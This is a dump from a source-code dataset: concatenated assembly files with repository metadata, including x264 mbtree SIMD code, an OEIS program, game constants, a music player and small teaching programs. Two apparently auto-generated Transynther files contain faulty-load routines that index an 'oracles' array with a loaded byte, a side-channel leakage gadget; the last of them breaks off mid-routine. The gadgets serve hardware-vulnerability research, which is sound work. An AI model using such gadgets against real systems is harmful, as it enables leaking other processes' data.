mulpd m0, m6 ; intra*invq*fps_factor>>8
addpd m0, m1 ; prop + (intra*invq*fps_factor>>8)
;%endif
cvtdq2pd m1, xm2 ; intra
psubd xm2, xm3 ; intra - inter
cvtdq2pd m2, xm2 ; intra - inter
mulpd m0, m2 ; (prop + (intra*invq*fps_factor>>8)) * (intra - inter)
; TODO: DIVPD very slow, but match to C model output, since it is not bottleneck function, I comment above faster code
divpd m0, m1
addpd m0, [pd_0_5]
cvttpd2dq xm0, m0
movu [r0+r5*4], xm0
add r5d, 4 ; process 4 values in one iteration
cmp r5d, r6d
jl .loop
add r6d, 3
xor r6d, r5d
jz .even ; if loop counter is multiple of 4, all values are processed
and r6d, 3 ; otherwise, remaining unprocessed values must be 1, 2 or 3
cmp r6d, 1
je .process1 ; if only 1 value is unprocessed
; process 2 values here
movq xm2, [r2+r5*4] ; intra
movq xm0, [r4+r5*4] ; invq
movd xm3, [r3+r5*2] ; inter
pmovzxwd xm3, xm3
pand xm3, xm5
pminsd xm3, xm2
movd xm1, [r1+r5*2] ; prop
pmovzxwd xm1, xm1
pmulld xm0, xm2
cvtdq2pd m0, xm0
cvtdq2pd m1, xm1 ; prop
;%if cpuflag(avx2)
; fmaddpd m0, m0, m6, m1
;%else
mulpd m0, m6 ; intra*invq*fps_factor>>8
addpd m0, m1 ; prop + (intra*invq*fps_factor>>8)
;%endif
cvtdq2pd m1, xm2 ; intra
psubd xm2, xm3 ; intra - inter
cvtdq2pd m2, xm2 ; intra - inter
mulpd m0, m2 ; (prop + (intra*invq*fps_factor>>8)) * (intra - inter)
divpd m0, m1
addpd m0, [pd_0_5]
cvttpd2dq xm0, m0
movq [r0+r5*4], xm0
xor r6d, 2
jz .even
add r5d, 2
; process 1 value here
.process1:
movd xm2, [r2+r5*4] ; intra
movd xm0, [r4+r5*4] ; invq
movzx r6d, word [r3+r5*2] ; inter
movd xm3, r6d
pand xm3, xm5
pminsd xm3, xm2
movzx r6d, word [r1+r5*2] ; prop
movd xm1, r6d
pmulld xm0, xm2
cvtdq2pd m0, xm0
cvtdq2pd m1, xm1 ; prop
;%if cpuflag(avx2)
; fmaddpd m0, m0, m6, m1
;%else
mulpd m0, m6 ; intra*invq*fps_factor>>8
addpd m0, m1 ; prop + (intra*invq*fps_factor>>8)
;%endif
cvtdq2pd m1, xm2 ; intra
psubd xm2, xm3 ; intra - inter
cvtdq2pd m2, xm2 ; intra - inter
mulpd m0, m2 ; (prop + (intra*invq*fps_factor>>8)) * (intra - inter)
divpd m0, m1
addpd m0, [pd_0_5]
cvttpd2dq xm0, m0
movd [r0+r5*4], xm0
.even:
RET
%endmacro
INIT_YMM avx
MBTREE_AVX
INIT_YMM avx2
MBTREE_AVX
%macro CUTREE_FIX8 0
;-----------------------------------------------------------------------------
; void cutree_fix8_pack( uint16_t *dst, double *src, int count )
;-----------------------------------------------------------------------------
cglobal cutree_fix8_pack, 3, 4, 5
movapd m2, [pq_256]
sub r2d, mmsize / 2
movsxdifnidn r2, r2d
lea r1, [r1 + 8 * r2]
lea r0, [r0 + 2 * r2]
neg r2
jg .skip_loop
.loop:
mulpd m0, m2, [r1 + 8 * r2]
mulpd m1, m2, [r1 + 8 * r2 + mmsize]
mulpd m3, m2, [r1 + 8 * r2 + 2 * mmsize]
mulpd m4, m2, [r1 + 8 * r2 + 3 * mmsize]
cvttpd2dq xm0, m0
cvttpd2dq xm1, m1
cvttpd2dq xm3, m3
cvttpd2dq xm4, m4
%if mmsize == 32
vinserti128 m0, m0, xm3, 1
vinserti128 m1, m1, xm4, 1
packssdw m0, m1
%else
punpcklqdq m0, m1
punpcklqdq m3, m4
packssdw m0, m3
%endif
mova [r0 + 2 * r2], m0
add r2, mmsize / 2
jle .loop
.skip_loop:
sub r2, mmsize / 2
jz .end
; Do the remaining values in scalar in order to avoid overreading src.
.scalar:
movq xm0, [r1 + 8 * r2 + 4 * mmsize]
mulsd xm0, xm2
cvttsd2si r3d, xm0
mov [r0 + 2 * r2 + mmsize], r3w
inc r2
jl .scalar
.end:
RET
;-----------------------------------------------------------------------------
; void cutree_fix8_unpack( double *dst, uint16_t *src, int count )
;-----------------------------------------------------------------------------
cglobal cutree_fix8_unpack, 3, 4, 7
%if mmsize != 32
mova m4, [cutree_fix8_unpack_shuf+16]
%endif
movapd m2, [pd_inv256]
mova m3, [cutree_fix8_unpack_shuf]
sub r2d, mmsize / 2
movsxdifnidn r2, r2d
lea r1, [r1 + 2 * r2]
lea r0, [r0 + 8 * r2]
neg r2
jg .skip_loop
.loop:
%if mmsize == 32
vbroadcasti128 m0, [r1 + 2 * r2]
vbroadcasti128 m1, [r1 + 2 * r2 + 16]
pshufb m0, m3
pshufb m1, m3
%else
mova m1, [r1 + 2 * r2]
pshufb m0, m1, m3
pshufb m1, m4
%endif
psrad m0, 16 ; sign-extend
psrad m1, 16
cvtdq2pd m5, xm0
cvtdq2pd m6, xm1
%if mmsize == 32
vpermq m0, m0, q1032
vpermq m1, m1, q1032
%else
psrldq m0, 8
psrldq m1, 8
%endif
cvtdq2pd m0, xm0
cvtdq2pd m1, xm1
mulpd m0, m2
mulpd m1, m2
mulpd m5, m2
mulpd m6, m2
movapd [r0 + 8 * r2], m5
movapd [r0 + 8 * r2 + mmsize], m0
movapd [r0 + 8 * r2 + mmsize * 2], m6
movapd [r0 + 8 * r2 + mmsize * 3], m1
add r2, mmsize / 2
jle .loop
.skip_loop:
sub r2, mmsize / 2
jz .end
.scalar:
movzx r3d, word [r1 + 2 * r2 + mmsize]
movsx r3d, r3w
cvtsi2sd xm0, r3d
mulsd xm0, xm2
movsd [r0 + 8 * r2 + 4 * mmsize], xm0
inc r2
jl .scalar
.end:
RET
%endmacro
INIT_XMM ssse3
CUTREE_FIX8
INIT_YMM avx2
CUTREE_FIX8
| 26.088939 | 122 | 0.495087 |
9bd11ae584d892bfe5a9f28ef254120bafb205fe | 652 | asm | Assembly | oeis/208/A208536.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/208/A208536.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/208/A208536.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A208536: Number of 5-bead necklaces of n colors not allowing reversal, with no adjacent beads having the same color.
; 0,0,6,48,204,624,1554,3360,6552,11808,19998,32208,49764,74256,107562,151872,209712,283968,377910,495216,639996,816816,1030722,1287264,1592520,1953120,2376270,2869776,3442068,4102224,4859994,5725824,6710880,7827072,9087078,10504368,12093228,13868784,15847026,18044832,20479992,23171232,26138238,29401680,32983236,36905616,41192586,45868992,50960784,56495040,62499990,69005040,76040796,83639088,91832994,100656864,110146344,120338400,131271342,142984848,155519988,168919248,183226554,198487296
mov $1,$0
pow $0,5
sub $0,$1
div $0,5
| 81.5 | 493 | 0.831288 |
2e3f36135bc6b65eb0d82770b21f6d2b5dd22de3 | 63 | asm | Assembly | constants/evolution_constants.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | constants/evolution_constants.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | constants/evolution_constants.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | ; Evolution types
EV_LEVEL EQU 1
EV_ITEM EQU 2
EV_TRADE EQU 3
| 12.6 | 17 | 0.777778 |
a76947c5e8477803f75f1cc1dbf2530081a2bc0c | 792 | asm | Assembly | test/utest_checkGameOutcome.asm | daullmer/tic-tac-toe | 2d84db8ca338a81eda7ab600dd1a9fff8df977a8 | [
"MIT"
] | 1 | 2021-11-09T21:34:20.000Z | 2021-11-09T21:34:20.000Z | test/utest_checkGameOutcome.asm | daullmer/tic-tac-toe | 2d84db8ca338a81eda7ab600dd1a9fff8df977a8 | [
"MIT"
] | null | null | null | test/utest_checkGameOutcome.asm | daullmer/tic-tac-toe | 2d84db8ca338a81eda7ab600dd1a9fff8df977a8 | [
"MIT"
] | 1 | 2021-11-08T12:55:44.000Z | 2021-11-08T12:55:44.000Z | # adresse an der der speicherstand gespeichert ist
.eqv board 0x10008000
li a0, board
li a1, 1
li a2, 2
sw a1, 0(gp)
sw a1, 4(gp)
sw a1, 8(gp)
sw a2, 12(gp)
sw a2, 16(gp)
sw a2, 24(gp)
jal checkGameOutcome
mv s2, a0
li a0, board
li a1, 2
li a2, 1
sw a1, 0(gp)
sw a1, 4(gp)
sw a1, 8(gp)
sw a2, 12(gp)
sw a2, 16(gp)
sw a2, 24(gp)
jal checkGameOutcome
mv s3, a0
li a0, board
li a1, 1
li a2, 2
# unset values from above to zero
sw zero, 0(gp)
sw zero, 4(gp)
sw zero, 8(gp)
sw zero, 12(gp)
sw zero, 16(gp)
sw zero, 24(gp)
jal checkGameOutcome
mv s4, a0
li a0, board
li a1, 2
li a2, 1
sw a1, 0(gp)
sw a2, 4(gp)
sw a1, 8(gp)
sw a1, 12(gp)
sw a2, 16(gp)
sw a2, 20(gp)
sw a2, 24(gp)
sw a1, 28(gp)
sw a1, 32(gp)
jal checkGameOutcome
mv s5, a0
li a7, 10
ecall
.include "../src/check_end_game.asm"
| 13.2 | 50 | 0.651515 |
86e62952817b1b12ead0e0a660f420b942ba30e0 | 268 | asm | Assembly | examples/cls.asm | ihh/bbcmicrobot-codec | 6c4587c1ed9d89942a2adae4cf8cda148ebb47d1 | [
"BSD-3-Clause"
] | 10 | 2020-03-06T04:32:59.000Z | 2021-03-02T05:04:16.000Z | examples/cls.asm | ihh/bbcmicrobot-codec | 6c4587c1ed9d89942a2adae4cf8cda148ebb47d1 | [
"BSD-3-Clause"
] | null | null | null | examples/cls.asm | ihh/bbcmicrobot-codec | 6c4587c1ed9d89942a2adae4cf8cda148ebb47d1 | [
"BSD-3-Clause"
] | null | null | null | ;; Clears MODE 7 screen
;; VDU_INIT is an array of VDU_INIT_LEN bytes to be written to each line
lda #12
ldx #24
ROW_VDU_START:
jsr $ffe3
ldy #-VDU_INIT_LEN
ROW_VDU:
lda VDU_INIT-256+VDU_INIT_LEN,y
jsr $ffe3
iny
bne ROW_VDU
lda #13
dex
bne ROW_VDU_START
| 15.764706 | 73 | 0.735075 |
2e3a1be4db2f4230c4c797c49ce7e676be57a194 | 8,505 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_2721.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_2721.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_21829_2721.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x7511, %rsi
lea addresses_normal_ht+0x12d93, %rdi
nop
nop
nop
nop
add $15615, %rax
mov $116, %rcx
rep movsl
nop
nop
inc %rax
lea addresses_WT_ht+0x12593, %r8
sub %rdx, %rdx
mov (%r8), %ecx
nop
nop
cmp $31848, %rdx
lea addresses_D_ht+0x176f3, %r8
clflush (%r8)
nop
nop
nop
dec %r13
mov (%r8), %si
nop
sub %rsi, %rsi
lea addresses_D_ht+0x6093, %rsi
lea addresses_WT_ht+0x8e13, %rdi
nop
nop
nop
nop
add %rbx, %rbx
mov $1, %rcx
rep movsw
nop
cmp %r13, %r13
lea addresses_UC_ht+0xc7b3, %rsi
nop
nop
nop
cmp %rdx, %rdx
mov (%rsi), %r13
nop
xor $59245, %rsi
lea addresses_D_ht+0x1794d, %rsi
lea addresses_A_ht+0x1c393, %rdi
nop
nop
nop
nop
nop
dec %rbx
mov $110, %rcx
rep movsq
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_UC_ht+0xae13, %rsi
lea addresses_WC_ht+0x1e5a3, %rdi
nop
xor $4588, %rdx
mov $110, %rcx
rep movsq
nop
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x14d03, %rbx
nop
sub %r13, %r13
movb (%rbx), %cl
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x1e6d3, %r13
nop
nop
nop
nop
sub $27923, %rsi
movb $0x61, (%r13)
nop
nop
nop
sub %r8, %r8
lea addresses_UC_ht+0xabfb, %rsi
lea addresses_UC_ht+0x5b93, %rdi
inc %rax
mov $59, %rcx
rep movsl
nop
nop
nop
cmp $2128, %r13
lea addresses_normal_ht+0xd6b3, %rbx
nop
xor $63113, %r13
and $0xffffffffffffffc0, %rbx
movntdqa (%rbx), %xmm2
vpextrq $1, %xmm2, %rdx
nop
nop
nop
nop
nop
xor $53047, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rbp
push %rdi
push %rsi
// Load
lea addresses_normal+0x12993, %r14
clflush (%r14)
nop
nop
nop
sub %rbp, %rbp
mov (%r14), %r8d
nop
cmp %r8, %r8
// Load
lea addresses_normal+0x1c993, %rdi
nop
xor %r9, %r9
vmovups (%rdi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbp
nop
nop
nop
nop
nop
add $47540, %r8
// Load
lea addresses_A+0x3393, %r8
cmp %rsi, %rsi
movups (%r8), %xmm2
vpextrq $1, %xmm2, %rbp
nop
sub $2348, %r8
// Store
lea addresses_RW+0x2193, %rbp
add %r9, %r9
mov $0x5152535455565758, %rsi
movq %rsi, (%rbp)
nop
nop
nop
sub %r14, %r14
// Load
lea addresses_UC+0x13c13, %r8
nop
add $40897, %r12
mov (%r8), %r9d
nop
add %rbp, %rbp
// Store
lea addresses_normal+0x12993, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
movl $0x51525354, (%rdi)
nop
inc %r8
// Store
lea addresses_UC+0x7e13, %r8
nop
and %r12, %r12
mov $0x5152535455565758, %r14
movq %r14, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
nop
dec %r8
// Faulty Load
lea addresses_normal+0x12993, %r8
nop
nop
nop
add $46783, %r14
movb (%r8), %r12b
lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rsi
pop %rdi
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': True}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 31.6171 | 2,999 | 0.652675 |
a759b0d87eb12db25c586ca8f93aeb6f76332c81 | 3,381 | asm | Assembly | asm/playlzs12.asm | dmsc/lzss-sap | ed2e6e23e7776f0f9bbe6852216d04f2ed58f731 | [
"MIT"
] | 3 | 2020-12-21T00:49:38.000Z | 2022-02-26T23:41:13.000Z | asm/playlzs12.asm | dmsc/lzss-sap | ed2e6e23e7776f0f9bbe6852216d04f2ed58f731 | [
"MIT"
] | null | null | null | asm/playlzs12.asm | dmsc/lzss-sap | ed2e6e23e7776f0f9bbe6852216d04f2ed58f731 | [
"MIT"
] | null | null | null | ;
; LZSS Compressed SAP player for 12 match bits
; --------------------------------------------
;
; (c) 2020 DMSC
; Code under MIT license, see LICENSE file.
;
; This player uses:
; Match length: 5 bits (2 to 33)
; Match offset: 7 bits (1 to 128)
; Min length: 2
; Total match bits: 12 bits
;
; Compress using:
; lzss -b 12 -o 7 input.rsap test.lz16
;
; Assemble this file with MADS assembler, the compressed song is expected in
; the `test.lz12` file at assembly time.
;
; The plater needs 256 bytes of buffer for each pokey register stored, for a
; full SAP file this is 1152 bytes.
;
org $80
chn_copy .ds 9
chn_pos .ds 9
bptr .ds 2
cur_pos .ds 1
bit_data .byte 1
nib_data .byte 1
get_byte
lda song_data+1
inc get_byte+1
bne skip
inc get_byte+2
skip
rts
POKEY = $D200
org $2000
buffers
.ds 128 * 9
song_data
ins 'test.lz12'
song_end
start
; Y is current position in buffer - init to 0
ldy #0
ldx #9
clear
lsr song_data
tya
ror ; A = 0 or 128
sta chn_copy-1, x
jsr get_byte
sta POKEY-1, x
cbuf
sta buffers + $7F
lda cbuf+1
eor #$80
sta cbuf+1
bmi skip_1
inc cbuf+2
skip_1
dex
bne clear
sap_loop:
ldx #0
stx bptr
lda #>buffers
sta bptr+1
; Loop through all "channels", one for each POKEY register
ldx #8
chn_loop:
lda chn_copy, x ; Get status of this stream
bmi skip_chn ; Negative - skip this channel
bne do_copy_byte ; If > 0 we are copying bytes
; We are decoding a new match/literal
lsr bit_data ; Get next bit
bne got_bit
jsr get_byte ; Not enough bits, refill!
ror ; Extract a new bit and add a 1 at the high bit (from C set above)
sta bit_data ;
got_bit:
jsr get_byte ; Always read a byte, it could mean "match size/offset" or "literal byte"
bcs store ; Bit = 1 is "literal", bit = 0 is "match"
lsr ; Bits 1-7 are the position
sta chn_pos, x ; Store
lda nib_data
rol ; Insert last bit into A
bcs ok
tay ; Store last bit into Y
jsr get_byte
pha
lsr
lsr
lsr
lsr
ora #$80
sta nib_data
tya
ror
pla
rol
jmp skip_nd
ok:
sta nib_data ; Clear nib_data for next round
skip_nd:
and #$1F
clc
adc #$2 ; Adds 2 to match length (C = 0 from above)
sta chn_copy, x ; Store in "copy length"
; And start copying first byte
do_copy_byte:
dec chn_copy, x ; Decrease match length, increase match position
ldy chn_pos, x
iny
bpl oky
ldy #0
oky sty chn_pos, x
; Now, read old data, jump to data store
lda (bptr), y
store:
ldy cur_pos
sta POKEY, x ; Store to output and buffer
sta (bptr), y
skip_chn:
; Increment channel buffer pointer adding 128
lda bptr
eor #$80
sta bptr
bmi skip_inc
inc bptr+1
skip_inc
dex
bpl chn_loop ; Next channel
iny
bpl okpos
ldy #0
okpos
sty cur_pos
lda 20
delay
cmp 20
beq delay
lda get_byte + 2
cmp #>song_end
bne sap_loop
lda get_byte + 1
cmp #<song_end
bne sap_loop
end_loop
rts
run start
| 18.275676 | 96 | 0.576161 |
8c1286952720e20cef0e5a8d83445a4820a2fa5b | 470 | asm | Assembly | Appendices/Appendix_D_Command-Line Debugging Assembly with GDB/Program_D.1/x86/Program_D.1_Linux_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 272 | 2016-12-28T02:24:21.000Z | 2022-03-30T21:05:37.000Z | Appendices/Appendix_D_Command-Line Debugging Assembly with GDB/Program_D.1/x86/Program_D.1_Linux_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 1 | 2018-04-17T19:47:52.000Z | 2018-04-17T19:47:52.000Z | Appendices/Appendix_D_Command-Line Debugging Assembly with GDB/Program_D.1/x86/Program_D.1_Linux_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 62 | 2017-02-02T14:39:37.000Z | 2022-01-04T09:02:07.000Z | ; Program D.1
; sum - NASM (32-bit) on Linux
; Copyright (c) 2017 Hall & Slonka
; nasm -f elf32 -o sum.o -l sum.lst sum.asm
; ld -e _main -melf_i386 -o sum sum.o
section .data
num1: dd 2
num2: dd 4
section .text
global _main, _sum
_main:
mov eax, 10
dec eax
mov ebx, 5
push DWORD[num2]
push DWORD[num1]
call _sum
add esp, 8
mov eax, 1
mov ebx, 0
int 80h
_sum:
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp + 8]
mov eax, [ebp + 12]
add eax, ebx
pop ebx
pop ebp
ret
| 12.051282 | 43 | 0.670213 |
ed7d740e2822a7900f3b32b6eec8160ab07e2c27 | 7,862 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_2799.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_2799.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_2799.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rcx
push %rsi
lea addresses_WT_ht+0x17116, %r11
nop
xor $55050, %r8
movw $0x6162, (%r11)
nop
nop
nop
inc %rcx
pop %rsi
pop %rcx
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_normal+0x1b816, %rsi
lea addresses_PSE+0x5bbe, %rdi
nop
nop
nop
mfence
mov $29, %rcx
rep movsq
nop
nop
nop
nop
sub $55982, %rcx
// Store
lea addresses_D+0xa186, %rsi
nop
xor %rdx, %rdx
movb $0x51, (%rsi)
nop
nop
nop
nop
cmp %rcx, %rcx
// REPMOV
lea addresses_RW+0x5e16, %rsi
lea addresses_WT+0x6016, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $46, %rcx
rep movsw
nop
nop
nop
sub $11602, %rdx
// Store
lea addresses_WC+0x151c9, %rdi
nop
nop
nop
nop
nop
cmp $6722, %rsi
movw $0x5152, (%rdi)
nop
sub %rdi, %rdi
// Load
lea addresses_normal+0x80a6, %r15
nop
nop
nop
nop
nop
xor $10721, %rdi
mov (%r15), %rdx
nop
add $63011, %rdx
// Store
lea addresses_D+0x185ae, %rdx
clflush (%rdx)
and $62314, %r14
